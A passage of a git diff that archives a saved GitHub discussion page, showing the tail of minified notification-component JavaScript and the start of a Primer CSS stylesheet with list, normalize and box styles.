0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) .ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription .ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 